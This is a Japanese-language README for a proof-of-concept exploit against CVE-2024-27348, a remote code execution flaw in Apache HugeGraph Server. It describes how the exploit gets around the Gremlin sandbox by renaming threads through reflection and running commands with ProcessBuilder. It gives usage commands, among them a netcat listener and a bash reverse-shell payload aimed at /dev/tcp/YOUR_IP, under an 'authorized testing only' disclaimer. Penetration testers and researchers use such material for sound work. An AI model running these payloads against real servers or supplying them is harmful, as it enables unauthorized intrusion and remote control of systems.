
CVE-2024-27348の高度なPoCエクスプロイト。サンドボックスバイパスと非ブラインドコマンド実行により、Apache HugeGraphで信頼性の高いRCEを達成します。
CVE-2024-27348(Apache HugeGraph Server におけるリモートコード実行)のための高度で信頼性の高い Proof of Concept(PoC)エクスプロイトです。
公開されている多くの PoC はコマンドを盲目的に実行したり、Java の Runtime.exec() の制限により複雑なペイロードで失敗したりしますが、本スクリプトは実際のペネトレーションテストシナリオにおける信頼性を考慮して設計されています。
教育および許可されたテスト目的専用です。 このツールは、セキュリティ研究者、ペネトレーションテスター、システム管理者が許可された環境で脆弱性を確認するために提供されています。作者は本ツールの誤用やそれによって生じた損害について一切の責任を負いません。
本エクスプロイトは、初期の公開 PoC が抱える3つの重要な問題に対処しています。
gremlin-server-exec-* または task-worker-* の場合に実行をブロックします。このペイロードは Java リフレクションを使用して、ペイロードをトリガーする前に実行スレッドを動的に にリネームし、セキュリティマネージャーをシームレスに回避します。BypassThreadRuntime.getRuntime().exec(String) の代わりに、本エクスプロイトは適切にフォーマットされた List<String> を使用した ProcessBuilder を利用します。これにより、引用符やリダイレクトを含む複雑なペイロードを安全に実行できます。Scanner を使用して実行されたプロセスの InputStream を読み取り、JSON HTTP レスポンス内にコマンドの実際の出力を返します。サーバーが見ているものがそのまま表示されます。requests ライブラリ必要な依存関係をインストールします:
pip3 install requests
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
例
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
# 攻撃用マシンでリスナーを起動:
nc -lvnp 4444
# エクスプロイトを実行:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Apache HugeGraph Server は Gremlin API エンドポイント(/gremlin)を公開しており、ユーザーが Groovy スクリプトを送信できます。パッチ適用前のバージョンではサンドボックスが不十分なため、認証されていない攻撃者が Java リフレクションを介して任意のオペレーティングシステムコマンドを実行できます。